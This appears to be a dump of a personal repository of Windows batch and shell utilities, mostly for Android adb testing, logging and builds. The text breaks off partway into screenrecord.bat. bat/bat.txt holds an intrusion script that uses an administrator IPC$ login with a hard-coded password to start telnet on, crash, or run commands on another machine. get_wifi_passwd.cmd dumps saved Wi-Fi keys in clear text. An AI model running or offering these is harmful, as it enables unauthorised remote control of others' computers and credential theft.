├── .DS_Store ├── .gitignore ├── bat ├── backup_data.txt ├── bat.txt ├── check_signature_info.bat ├── file-path-check.bat ├── get_pc_ip.cmd ├── get_wifi_passwd.cmd ├── jenkins │ └── Jenkins_init.bat ├── mobile-asm.jar ├── mobile-droidAtScreen-1.1.jar ├── mobile │ ├── adb │ │ ├── YK_setprop_check_so.bat │ │ ├── activity_startup_time.bat │ │ ├── auto_install_apk.bat │ │ ├── backup_app.sh │ │ ├── batch_uninstall.sh │ │ ├── check_apk_info.bat │ │ ├── conn_with_wifi.cmd │ │ ├── conn_with_wifi.sh │ │ ├── current_activity.bat │ │ ├── current_activity.sh │ │ ├── get_phone_info.bat │ │ ├── output_logcat_d.bat │ │ ├── pull_crash_anr.bat │ │ ├── pull_crash_log.sh │ │ ├── screenrecord.bat │ │ ├── screenrecord2.bat │ │ ├── screenshot.sh │ │ ├── screenshots.bat │ │ ├── screenshots.cmd │ │ ├── screenshots2.bat │ │ └── sr.bat │ ├── build │ │ ├── build_android_apk.sh │ │ └── build_ios_ipa.sh │ └── monkey │ │ ├── monkey_analysis │ │ ├── Monkey.bat │ │ ├── config.conf │ │ ├── monkey_cmd.cmd │ │ └── monkey_log_analysis.bat │ │ ├── monkey_no_env │ │ ├── AdbWinApi.dll │ │ ├── Common.cmd │ │ ├── adb2.exe │ │ ├── kill_monkey_pid.bat │ │ ├── log_analysis.bat │ │ └── monkey_log_analysis.bat │ │ ├── monkey_script.bat │ │ └── monkey_with_config.bat ├── selenium-server.bat ├── service_port_chk.bat ├── test-datetime-1.bat ├── test-datetime.bat ├── virtual_wifi_start.bat ├── virtual_wifi_stop.bat └── win-port-open.bat ├── docker ├── .DS_Store ├── Dockerfile │ ├── .DS_Store │ ├── base │ │ ├── base-tomcat-8 │ │ └── official-tomcat-8 │ ├── browsermob │ │ ├── browsermob │ │ └── browsermob-proxy-2.1.4-bin.zip │ ├── chrome │ │ ├── .DS_Store │ │ ├── 2.53.1 │ │ │ ├── chrome-dbg-zh-2.53.1 │ │ │ └── chrome-zh-2.53.1 │ │ ├── 3.141.0 │ │ │ ├── chrome-dbg-zh-3.141 │ │ │ ├── chrome-dbg-zh-3.141.59 │ │ │ ├── uts-hub-3.141 │ │ │ ├── uts-node-chrome-3.141 │ │ │ └── uts-node-firefox-3.141 │ │ ├── 3.141.5-test │ │ │ ├── chrome-dbg-zh-3.141.5 │ │ │ ├── generate_config │ │ │ ├── linux_signing_key.pub │ │ │ ├── selenium-debug.conf │ │ │ ├── selenium.conf │ │ │ ├── start-fluxbox.sh │ │ │ ├── start-selenium-standalone.sh │ │ │ ├── start-vnc.sh │ │ │ └── wrap_chrome_binary │ │ └── docker-chrome-setup.md │ ├── cppcheck │ │ ├── Dockerfile │ │ ├── build.sh │ │ └── docker-compose.yml │ ├── example │ │ ├── crontab │ │ ├── dubbo-admin │ │ ├── entrypoint │ │ ├── ftp │ │ ├── golang │ │ ├── jar │ │ ├── open-api │ │ └── webtest │ ├── httprunner │ │ ├── Dockerfile │ │ ├── build.sh │ │ └── docker-compose.yml │ ├── jmeter │ │ ├── .DS_Store │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── deploy.sh │ │ ├── docker-compose.yml │ │ ├── jmeternode │ │ │ ├── .DS_Store │ │ │ ├── add_mem.sh │ │ │ ├── app.js │ │ │ ├── config │ │ │ │ ├── config.js │ │ │ │ └── log4j.json │ │ │ ├── get_mem.sh │ │ │ ├── install.sh │ │ │ ├── package.json │ │ │ ├── public │ │ │ │ ├── css │ │ │ │ │ └── style.css │ │ │ │ └── js │ │ │ │ │ └── script.js │ │ │ ├── routes │ │ │ │ └── index.js │ │ │ ├── stop_all.sh │ │ │ └── views │ │ │ │ ├── charts │ │ │ │ └── index.html │ │ │ │ ├── index.ejs │ │ │ │ ├── jmxs │ │ │ │ ├── add.ejs │ │ │ │ └── delete.ejs │ │ │ │ └── layouts │ │ │ │ ├── footer.ejs │ │ │ │ ├── header.ejs │ │ │ │ └── message.ejs │ │ ├── mysql │ │ │ ├── Dockerfile │ │ │ ├── docker-compose.yml │ │ │ └── jmxs.sql │ │ └── start.sh │ ├── kratos │ │ ├── kratos-service │ │ ├── requirements.txt │ │ └── run.sh │ ├── node-work │ │ ├── agent-stack.yml │ │ ├── common │ │ │ └── config │ │ │ │ ├── .DS_Store │ │ │ │ ├── dubbo-admin │ │ │ │ └── dubbo.properties │ │ │ │ ├── nginx │ │ │ │ ├── nginx.conf │ │ │ │ ├── nginx.conf.bak │ │ │ │ └── nginxgateway.conf │ │ │ │ ├── prometheus │ │ │ │ ├── docker_influxdb_create_user.sh │ │ │ │ └── prometheus.yml │ │ │ │ └── zookeeper │ │ │ │ └── conf │ │ │ │ ├── zoo.cfg │ │ │ │ └── zoo.cfg.dynamic.next │ │ ├── compose-basic.yml │ │ ├── compose-uts.yml │ │ ├── readme-config.md │ │ └── readme-vnc.md │ ├── performance │ │ ├── .DS_Store │ │ ├── README.md │ │ ├── deploy.sh │ │ ├── deploy_analyze.sh │ │ ├── docker-compose.yml │ │ ├── installdocker.sh │ │ ├── mysql │ │ │ └── docker-compose.yml │ │ ├── performance-analyze │ │ │ ├── .DS_Store │ │ │ ├── buildimages │ │ │ │ ├── Dockerfile │ │ │ │ └── build.sh │ │ │ └── docker-compose.yml │ │ └── performance-report │ │ │ ├── .DS_Store │ │ │ ├── buildbaseimages │ │ │ ├── Dockerfile │ │ │ ├── build.sh │ │ │ └── simsun.ttc │ │ │ ├── buildimages │ │ │ ├── Dockerfile │ │ │ ├── build.sh │ │ │ └── simsun.ttc │ │ │ ├── docker-compose.yml │ │ │ └── start.sh │ ├── qa-platform │ │ ├── .DS_Store │ │ ├── buildbaseimages │ │ │ ├── Dockerfile │ │ │ └── build.sh │ │ ├── buildimages │ │ │ ├── Dockerfile │ │ │ └── build.sh │ │ ├── docker-compose.yml │ │ ├── mysqld.cnf │ │ └── nginx-backendQc.conf │ ├── uts │ │ ├── .mavenrc │ │ ├── uts-base │ │ ├── uts-service │ │ ├── uts-shadow │ │ └── uts-webapp │ └── wpt │ │ ├── wpt-agent │ │ ├── wpt-server │ │ ├── wpt-service │ │ └── wpt-webapp ├── readme-init-env.md └── readme.md ├── jenkins └── .DS_Store ├── readme.md └── shell ├── demo ├── accept_cmd_param.sh ├── awk_content.sh ├── calc_file_num.sh ├── calc_func ├── call_func.sh ├── check_file ├── check_permission.sh ├── condition_case.sh ├── condition_for.sh ├── condition_while.sh ├── create_file.sh ├── create_user.sh ├── install_001(1) ├── judge_dir_null.sh ├── oracle_install.sh ├── read_param ├── rmfille └── tree.sh ├── nmon ├── nmon └── nmon_start.sh ├── notification ├── mail_log.sh └── weixin_log.sh ├── software ├── generate-certificate.sh ├── jenkins.sh ├── redis_ip_cheack.sh └── update-crontab.sh ├── spring-boot-server ├── creditstartup.sh ├── serverDeploy.sh └── serverMonitor.sh └── tomcat ├── .mavenrc ├── batchUpProject.sh ├── checkServer.sh ├── serverDeploy.sh ├── service.sh ├── service2.sh └── simple-restart.sh /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/.DS_Store -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | # Distribution / packaging 3 | 4 | .idea/ 5 | env/ 6 | develop-eggs/ 7 | dist/ 8 | downloads/ 9 | eggs/ 10 | .eggs/ 11 | lib/ 12 | lib64/ 13 | parts/ 14 | sdist/ 15 | var/ 16 | *.egg-info/ 17 | .installed.cfg 18 | *.egg 19 | 20 | # PyInstaller 21 | # Usually these files are written by a python script from a template 22 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 23 | *.manifest 24 | *.spec 25 | 26 | # Installer logs 27 | pip-log.txt 28 | pip-delete-this-directory.txt 29 | 30 | # Unit test / coverage reports 31 | htmlcov/ 32 | .tox/ 33 | .coverage 34 | .coverage.* 35 | .cache 36 | nosetests.xml 37 | coverage.xml 38 | *,cover 39 | .hypothesis/ 40 | 41 | # Translations 42 | *.mo 43 | *.pot 44 | 45 | # Django stuff: 46 | *.log 47 | local_settings.py 48 | 49 | # Flask stuff: 50 | instance/ 51 | .webassets-cache 52 | 53 | # Scrapy stuff: 54 | .scrapy 55 | 56 | # Sphinx documentation 57 | docs/_build/ 58 | 59 | # PyBuilder 60 | target/ 61 | 62 | # IPython Notebook 63 | .ipynb_checkpoints 64 | 65 | # pyenv 66 | .python-version 67 | 68 | # celery beat schedule file 69 | celerybeat-schedule 70 | 71 | # dotenv 72 | .env 73 | 74 | # virtualenv 75 | venv/ 76 | ENV/ 77 | 78 | # Spyder project settings 79 | .spyderproject 80 | 81 | # Rope project settings 82 | .ropeproject 83 | **.tar.gz 84 | .DS_Store -------------------------------------------------------------------------------- /bat/backup_data.txt: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo 当前盘符:%~d0 3 | echo 当前盘符和路径:%~dp0 4 | echo 当前盘符和路径的短文件名格式:%~sdp0 5 | echo 当前批处理全路径:%~f0 6 | echo 当前CMD默认目录:%cd% 7 | pause 8 | 9 | 10 | 11 | @echo off 12 | 13 | echo %~dp0 14 | set b=src\labautotest\run\test_run\test_run_suite.py 15 | echo %b% 16 | set rp=%%~dp0%b% 17 | 18 | echo %rp% 19 | pause 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | @echo off 29 | set p1=:\Program Files\WinRAR\WinRAR.exe 30 | set p2=:\Program Files (x86)\WinRAR\WinRAR.exe 31 | 32 | for %%i in (b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do ( 33 | set rp=%%i%p1% 34 | echo %rp% 35 | 36 | if exist %%i%p1% goto runRar 37 | ) 38 | 39 | echo noFound. 40 | goto end 41 | 42 | :runRar 43 | echo %rp% 44 | 45 | :end 46 | 47 | @pause -------------------------------------------------------------------------------- /bat/bat.txt: -------------------------------------------------------------------------------- 1 | 知道IP先运行CMD.再输入TRACERT XX.XX.XX.XX 2 | 其中XX.XXX.XXX.XXX为对方IP,看到第4和第5行就是别人IP上网地址, 3 | 开再个DOS窗口.输入NBTSTAT -A XX.XXX.XXX.XXX 4 | 就可以获得别人用户名  5 | 再用CMD进入别人计算机吧。其它的DOS 指定自己去找。 6 | -------------------------------------------------------------------------------------给你个bat 7 | 8 | set /p num=密码正确!请输入要攻击的机器号(如D01): 9 | net use \\%num%\IPC$ "2966220" /user:administrator 10 | :f04 11 | cls 12 | echo 1.开启对方的Telnet服务! 13 | echo 2.重启对方机器! 14 | echo 3.输入指定命令! 15 | echo 4.返回上层 16 | echo 5.退出程序 17 | set /p ch=请选择: 18 | if %ch%==1 (goto f01) 19 | if %ch%==2 (goto f02) 20 | if %ch%==3 (goto f03) 21 | if %ch%==4 (goto f00) 22 | if %ch%==5 (exit) 23 | :f01 24 | net time \\%num% 25 | set /p tim=请输入时间,将上面的时间延迟两分钟: 26 | at \\%num% %tim% net start telnet /port:456789 /nomsg 27 | goto f04 28 | :f02 29 | net time \\%num% 30 | set /p tim=请输入时间,将上面的时间延迟两分钟: 31 | at \\%num% %tim% /interactive ntsd -c q -p 160 32 | goto f04 33 | :f03 34 | set /p ca=请输入命令: 35 | net time \\%num% 36 | set /p tim=请输入时间,将上面的时间延迟两分钟: 37 | at \\%num% %tim% /interactive %ca% 38 | goto f04 39 | exit 40 | :st5 41 | cls 42 | set /p numb=请输入对方的机器号(如D01): 43 | :mess 44 | set /p msg=请输入消息内容: 45 | net send %numb% %msg% 46 | goto mess 47 | exit -------------------------------------------------------------------------------- /bat/check_signature_info.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | ECHO.:: :: 5 | ECHO.:: 查看APK签名信息 :: 6 | ECHO.:: :: 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | Color 0A 10 | 11 | ECHO. 12 | 13 | ECHO.[ HELP ] 可查看RSA、APK、keystore签名信息 14 | 15 | SET C_PATH=%~dp0 16 | 17 | REM 方法:直接将APK或RSA文件到bat文件上 18 | 19 | IF NOT "%1"=="" SET apkorFile=%1 20 | 21 | IF "%~x1"==".RSA" GOTO RSAFile 22 | 23 | IF "%~x1"==".rsa" GOTO RSAFile 24 | 25 | IF "%~x1"==".apk" GOTO APKFile 26 | 27 | IF "%~x1"==".APK" GOTO APKFile 28 | 29 | IF "%~x1"==".keystore" GOTO KEYSTOREFile 30 | 31 | IF "%~x1"==".KEYSTORE" GOTO KEYSTOREFile 32 | 33 | Color 0D 34 | 35 | ECHO.[ HELP ] 请将RSA或得APK或者keystore拖至Bat文件上 36 | 37 | GOTO BATend 38 | 39 | 40 | :KEYSTOREFile 41 | 42 | DEL "%C_PATH%%~nx1.txt" 2>nul 43 | 44 | ECHO.[ INFO ] INPUT:%apkorFile% 45 | 46 | ECHO.[ INFO ] OUT: %C_PATH%%~nx1.txt 47 | 48 | ECHO. 49 | 50 | keytool -list -v -keystore %apkorFile% > "%C_PATH%%~nx1.txt" 51 | 52 | type "%C_PATH%%~nx1.txt" 53 | 54 | GOTO BATend 55 | 56 | 57 | :RSAFile 58 | 59 | DEL "%C_PATH%%~n1.RSA.txt" 2>nul 60 | 61 | ECHO.[ INFO ] INPUT:%apkorFile% 62 | 63 | ECHO.[ INFO ] OUT: %C_PATH%%~n1.RSA.txt 64 | 65 | ECHO. 66 | 67 | keytool -printcert -file %apkorFile% > "%C_PATH%%~n1.RSA.txt" 68 | 69 | type "%C_PATH%%~n1.RSA.txt" 70 | 71 | GOTO BATend 72 | 73 | 74 | :APKFile 75 | 76 | ECHO.[ INFO ] INPUT:%apkorFile% 77 | 78 | ECHO.[ INFO ] OUT: %C_PATH%%~n1.RSA.txt 79 | 80 | RD /S /Q %~n1_META-INF 2>nul 81 | 82 | ::jar tf %apkorFile%|Findstr "RSA" 83 | 84 | ::解压签名目录 85 | 86 | jar -xf %apkorFile% META-INF 87 | 88 | ::重合名文件夹 89 | 90 | REN META-INF %~n1_META-INF 91 | 92 | ::查看签名文件信息 93 | 94 | CD %~n1_META-INF 95 | 96 | FOR %%I IN (*.RSA) DO ( 97 | 98 | ECHO.[ INFO ] %%I 99 | 100 | ECHO. 101 | 102 | keytool -printcert -file %%I > "%C_PATH%%~n1.RSA.txt" 103 | 104 | type "%C_PATH%%~n1.RSA.txt" 105 | 106 | ) 107 | 108 | CD %~dp1 109 | 110 | RD /S /Q %~n1_META-INF 2>nul 111 | 112 | 113 | 114 | :BATend 115 | 116 | ECHO. 117 | 118 | ECHO.[ EXIT ] 按任意键关闭窗口... 119 | 120 | PAUSE>nul 121 | -------------------------------------------------------------------------------- /bat/file-path-check.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | echo **************************************** 3 | echo 自动创建文件夹(存放备份文件和备份脚本) 4 | echo **************************************** 5 | 6 | set Pan=d:\ 7 | set AFolder=MIS\ 8 | set BFolder=OracleDBAutoBackup\ 9 | set C1Folder=BackupTools 10 | set C2Folder=AutoBakFiles 11 | set C3Folder=AutoBakHistoryFiles 12 | set C4Folder=AutoBakBatRunLogs 13 | 14 | 15 | 16 | echo 本批处理准备创建以下文件夹 17 | echo 1.存放备份的批处理脚本 %Pan%%AFolder%%BFolder%%C1Folder% 18 | echo 2.存放备份文件 %Pan%%AFolder%%BFolder%%C2Folder% 19 | echo 3.存放备份历史文件 %Pan%%AFolder%%BFolder%%C3Folder% 20 | echo 4.存放备份脚本执行日志 %Pan%%AFolder%%BFolder%%C4Folder% 21 | echo . 22 | echo 开始执行----------------------- 23 | 24 | if exist %Pan% ( 25 | 26 | if exist %Pan%%AFolder% ( 27 | rem 目录d:\MIS已存在,无需创建 28 | echo 目录%Pan%%AFolder%已存在,无需创建 29 | ) else ( 30 | rem 创建d:\MIS 31 | echo 创建%Pan%%AFolder% 32 | md %Pan%%AFolder% 33 | ) 34 | 35 | if exist %Pan%%AFolder%%BFolder% ( 36 | rem 目录d:\MIS\OracleDBAutoBackup已存在,无需创建 37 | echo 目录%Pan%%AFolder%%BFolder%已存在无需创建 38 | ) else ( 39 | rem 创建d:\MIS\OracleDBAutoBackup 40 | echo 创建%Pan%%AFolder%%BFolder% 41 | md %Pan%%AFolder%%BFolder% 42 | ) 43 | 44 | if exist %Pan%%AFolder%%BFolder%%C1Folder% ( 45 | rem 目录d:\MIS\OracleDBAutoBackup\BackupTools已存在,无需创建 46 | echo 目录%Pan%%AFolder%%BFolder%%C1Folder%已存在,无需创建 47 | ) else ( 48 | rem 创建d:\MIS\OracleDBAutoBackup\BackupTools 49 | echo 创建%Pan%%AFolder%%BFolder%%C1Folder% 50 | md %Pan%%AFolder%%BFolder%%C1Folder% 51 | ) 52 | 53 | if exist %Pan%%AFolder%%BFolder%%C2Folder% ( 54 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakFiles已存在,无需创建 55 | echo 目录%Pan%%AFolder%%BFolder%%C2Folder%已存在,无需创建 56 | ) else ( 57 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakFiles 58 | echo 创建%Pan%%AFolder%%BFolder%%C2Folder% 59 | md %Pan%%AFolder%%BFolder%%C2Folder% 60 | ) 61 | 62 | if exist %Pan%%AFolder%%BFolder%%C3Folder% ( 63 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakHistoryFiles已存在,无需创建 64 | echo 目录%Pan%%AFolder%%BFolder%%C3Folder%已存在,无需创建 65 | ) else ( 66 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakHistoryFiles 67 | echo 创建%Pan%%AFolder%%BFolder%%C3Folder% 68 | md %Pan%%AFolder%%BFolder%%C3Folder% 69 | ) 70 | 71 | if exist %Pan%%AFolder%%BFolder%%C4Folder% ( 72 | rem 目录d:\MIS\OracleDBAutoBackup\AutoBakBatRunLogs已存在,无需创建 73 | echo 目录%Pan%%AFolder%%BFolder%%C4Folder%已存在,无需创建 74 | ) else ( 75 | rem 创建d:\MIS\OracleDBAutoBackup\AutoBakBatRunLogs 76 | echo 创建%Pan%%AFolder%%BFolder%%C4Folder% 77 | md %Pan%%AFolder%%BFolder%%C4Folder% 78 | ) 79 | 80 | ) else ( 81 | echo !! 82 | echo !!执行失败,当前系统上不存在%Pan%盘 83 | echo !! 84 | ) 85 | echo . 86 | echo 已执行完毕(退出请按任意键或直接关闭窗体)----------------------- 87 | echo . 88 | pause -------------------------------------------------------------------------------- /bat/get_pc_ip.cmd: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | echo ---------------------------------------------------- 4 | 5 | echo 本机ip地址为: 6 | 7 | ipconfig | findstr "IPv4" 8 | 9 | echo ---------------------------------------------------- 10 | 11 | ping -n 10 127.0.0.1>nul 12 | 13 | @ECHO ON 14 | -------------------------------------------------------------------------------- /bat/get_wifi_passwd.cmd: -------------------------------------------------------------------------------- 1 | for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') 2 | do 3 | @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear 4 | -------------------------------------------------------------------------------- /bat/jenkins/Jenkins_init.bat: -------------------------------------------------------------------------------- 1 | cd C:\Jenkins 2 | java -Dhudson.util.ProcessTree.disable=true -jar jenkins.war --httpPort=8089 -------------------------------------------------------------------------------- /bat/mobile-asm.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile-asm.jar -------------------------------------------------------------------------------- /bat/mobile-droidAtScreen-1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/bat/mobile-droidAtScreen-1.1.jar -------------------------------------------------------------------------------- /bat/mobile/adb/YK_setprop_check_so.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | echo ------需要手机连接上电脑---------------------------- 4 | 5 | echo 使用adb shell setprop进行log日志配置: 6 | 7 | adb shell setprop debug.adoplayer.log.component 127 8 | 9 | adb shell setprop debug.adoplayer.log.level info 10 | 11 | adb shell setprop debug.adoplayer.log.option pts 12 | 13 | echo -----已配置完成------------------------------------- 14 | 15 | echo -----打印配置结果----------------------------------- 16 | 17 | adb shell getprop | findstr debug.adoplayer.log 18 | 19 | ping 127.0.0.1 -n 1 >nul 20 | 21 | echo -----查看so文件是否存在----------------------------- 22 | 23 | adb shell ls /sdcard/ | findstr .so$ 24 | 25 | echo -----3秒后结束执行---------------------------------- 26 | 27 | ping 127.0.0.1 -n 3 >nul 28 | 29 | @ECHO ON 30 | -------------------------------------------------------------------------------- /bat/mobile/adb/activity_startup_time.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 4 | ECHO.:: :: 5 | ECHO.:: Activity启动跳转时间监控 :: 6 | ECHO.:: :: 7 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 8 | 9 | 10 | ECHO.[ INFO ] 清空日志 11 | 12 | adb logcat -c 13 | 14 | ECHO.[ INFO ] 监控开始(Ctrl+C结束) 15 | 16 | ECHO.[ INFO ] 保存请拷贝输出内容 17 | 18 | adb logcat -s ActivityManager | Findstr /C:": Displayed" -------------------------------------------------------------------------------- /bat/mobile/adb/auto_install_apk.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO [安装APK] 4 | 5 | ECHO ------------------------------- 6 | 7 | ECHO [等待插入手机...] 8 | 9 | adb wait-for-device 10 | 11 | ECHO [覆盖安装] %~nx1 12 | 13 | adb install -r %1 14 | 15 | ECHO [暂停5秒自动关闭...] 16 | 17 | ping -n 5 127.0.0.1>nul 18 | 19 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/backup_app.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #获取设备当前应用,存放于app目录下 4 | 5 | #获取设备当前应用的包名 6 | pkgname=`adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d / -f 1` 7 | 8 | #获取应用的apk路径 9 | pkgpath=`adb shell pm list packages -f $pkgname | cut -d : -f 2 | cut -d = -f 1` 10 | 11 | #apk存放目录 12 | dir=app 13 | if [ ! -d "$dir" ] 14 | then 15 | mkdir $dir 16 | fi 17 | 18 | #pull apk 19 | echo start pull $pkgname 20 | `adb pull $pkgpath $dir` 21 | echo Completed 22 | 23 | -------------------------------------------------------------------------------- /bat/mobile/adb/batch_uninstall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | adb shell wait-for-device 4 | echo start remove... 5 | 6 | for package in `adb shell pm list package -3 | cut -d : -f 2 | tr -d "\r"` 7 | do 8 | echo remove $package 9 | adb uninstall $package 10 | done 11 | -------------------------------------------------------------------------------- /bat/mobile/adb/check_apk_info.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO [查看APK包信息] 4 | 5 | ECHO ------------------------------- 6 | 7 | ECHO aapt dump badging %~nx1 8 | 9 | aapt dump badging %1 > %~dp0%~n1.txt 10 | 11 | ECHO [暂停3秒自动关闭...] 12 | 13 | ping -n 3 127.0.0.1>nul 14 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/conn_with_wifi.cmd: -------------------------------------------------------------------------------- 1 | @echo off &setlocal enabledelayedexpansion 2 | ::set your port 3 | set PORT_BASE=5555 4 | 5 | ::list the device 6 | adb devices |findstr /i "\" >nul 7 | if "%errorlevel%" neq "0" ( 8 | echo "device not found." 9 | goto :eof 10 | ) 11 | 12 | ::set devices serial 13 | for /f "tokens=1" %%i in ('adb devices^|findstr "\"') do ( 14 | set device_serial=%%i 15 | echo 16 | ) 17 | echo found devices %device_serial% 18 | 19 | ::find IP for the phone 20 | for /f "tokens=3 delims= " %%i in ('adb shell ifconfig wlan0') do ( 21 | set phone_ip=%%i 22 | ) 23 | echo device ip is %phone_ip% 24 | 25 | echo "Connecting......" 26 | adb -s %device_serial% tcpip %PORT_BASE% 27 | adb -s %device_serial% connect %phone_ip%:%PORT_BASE% 28 | 29 | echo Done 30 | adb devices -l 31 | ping -n 50 127.0.0.1 >&2 >nul 32 | -------------------------------------------------------------------------------- /bat/mobile/adb/conn_with_wifi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #Modify this with your IP range 4 | MY_IP_RANGE="192\.168\.1" 5 | 6 | #You usually wouldn't have to modify this 7 | PORT_BASE=5555 8 | 9 | #List the devices on the screen for your viewing pleasure 10 | adb devices 11 | echo 12 | 13 | #Find USB devices only (no emulators, genymotion or connected devices 14 | declare -a deviceArray=(`adb devices -l | grep -v emulator | grep -v vbox | grep -v "${MY_IP_RANGE}" | grep " device " | awk '{print $1}'`) 15 | 16 | echo "found ${#deviceArray[@]} device(s)" 17 | echo 18 | 19 | for index in ${!deviceArray[*]} 20 | do 21 | echo "finding IP address for device ${deviceArray[index]}" 22 | IP_ADDRESS=$(adb -s ${deviceArray[index]} shell ifconfig wlan0 | awk '{print $3}') 23 | 24 | echo "IP address found : $IP_ADDRESS " 25 | 26 | echo "Connecting..." 27 | adb -s ${deviceArray[index]} tcpip $(($PORT_BASE + $index)) 28 | adb -s ${deviceArray[index]} connect "$IP_ADDRESS:$(($PORT_BASE + $index))" 29 | 30 | echo 31 | echo 32 | done 33 | 34 | adb devices -l 35 | #exit -------------------------------------------------------------------------------- /bat/mobile/adb/current_activity.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | COLOR 0A 4 | 5 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 6 | ECHO.:: :: 7 | ECHO.:: 当前运行的APP包名 :: 8 | ECHO.:: :: 9 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 10 | 11 | FOR /F "tokens=3 delims= " %%a in ('adb shell dumpsys window^|find "mCurrentFocus"') do ( 12 | 13 | FOR /F "tokens=1 delims=}" %%i in ("%%a") do ( 14 | 15 | ECHO.[ INFO ] 包名/活动名 16 | 17 | ECHO.[ INFO ] %%i 18 | 19 | ) 20 | ) 21 | 22 | ECHO. 23 | 24 | PAUSE 25 | -------------------------------------------------------------------------------- /bat/mobile/adb/current_activity.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | #获取设备当前应用的Activity,打印在控制台 4 | adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d \) -f 1 5 | 6 | #将结果写入currentActivity.txt文件中 7 | #adb shell dumpsys window w | grep \/ | grep name= | cut -d = -f 3 | cut -d \) -f 1 > currentActivity.txt 8 | -------------------------------------------------------------------------------- /bat/mobile/adb/get_phone_info.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO [读取手机信息] 4 | 5 | ECHO ------------------------------- 6 | 7 | adb shell cat /system/build.prop>%~dp0\phone.info 8 | 9 | FOR /F "tokens=1,2 delims==" %%a in (phone.info) do ( 10 | 11 | IF %%a == ro.build.version.release SET androidOS=%%b 12 | 13 | IF %%a == ro.product.model SET model=%%b 14 | 15 | IF %%a == ro.product.brand SET brand=%%b 16 | 17 | ) 18 | 19 | del /a/f/q %~dp0\phone.info 20 | 21 | ECHO. 22 | 23 | ECHO.手机品牌: %brand% 24 | 25 | ECHO.手机型号: %model% 26 | 27 | ECHO.系统版本: Android %androidOS% 28 | 29 | ECHO.------------------------------- 30 | 31 | ECHO.手机品牌: %brand%>>"%~dp0\Phone_%model%.txt" 32 | 33 | ECHO.手机型号: %model%>>"%~dp0\Phone_%model%.txt" 34 | 35 | ECHO.系统版本: Android %androidOS%>>"%~dp0\Phone_%model%.txt" 36 | 37 | ECHO [暂停5秒自动关闭...] 38 | 39 | ping -n 5 127.0.0.1>nul 40 | 41 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/output_logcat_d.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | ECHO.[导出logcat日志] 4 | 5 | ECHO.------------------------------- 6 | 7 | adb logcat -d>"%date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%%time:~6,2%.log" 8 | 9 | ECHO.[暂停5秒自动关闭...] 10 | 11 | ping -n 5 127.0.0.1>nul 12 | 13 | @ECHO ON -------------------------------------------------------------------------------- /bat/mobile/adb/pull_crash_anr.bat: -------------------------------------------------------------------------------- 1 | adb pull /data/anr/ anr 2 | adb shell dumpsys dropbox system_app_crash --print>>Crash.txt -------------------------------------------------------------------------------- /bat/mobile/adb/pull_crash_log.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 获取crash日志,存放至crash_log目录下 4 | 5 | timestamp=`adb shell date +%F_%H-%M-%S | tr -d "\r"` 6 | adb shell dumpsys dropbox | grep data_app_crash > temp.txt 7 | log_dir="./crash_log" 8 | 9 | if [ ! -d "$log_dir" ] 10 | then 11 | mkdir $log_dir 12 | fi 13 | 14 | get_crash_log() 15 | { 16 | time_list=[] 17 | index=0 18 | for result in `cat temp.txt | cut -d " " -f 2` 19 | do 20 | time_list[$index]=$result 21 | let "index+=1" 22 | 23 | done 24 | 25 | for time in ${time_list[@]} 26 | do 27 | adb shell dumpsys dropbox --print $time >> $log_dir/$timestamp.log 28 | done 29 | } 30 | 31 | get_crash_log 32 | rm -f temp.txt 33 | echo "Completed..." 34 | 35 | -------------------------------------------------------------------------------- /bat/mobile/adb/screenrecord.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | COLOR 0A 4 | 5 | ECHO.::::::::::::::::::::::::::::::::::::::::::::::::: 6 | ECHO.:: :: 7 | ECHO.:: 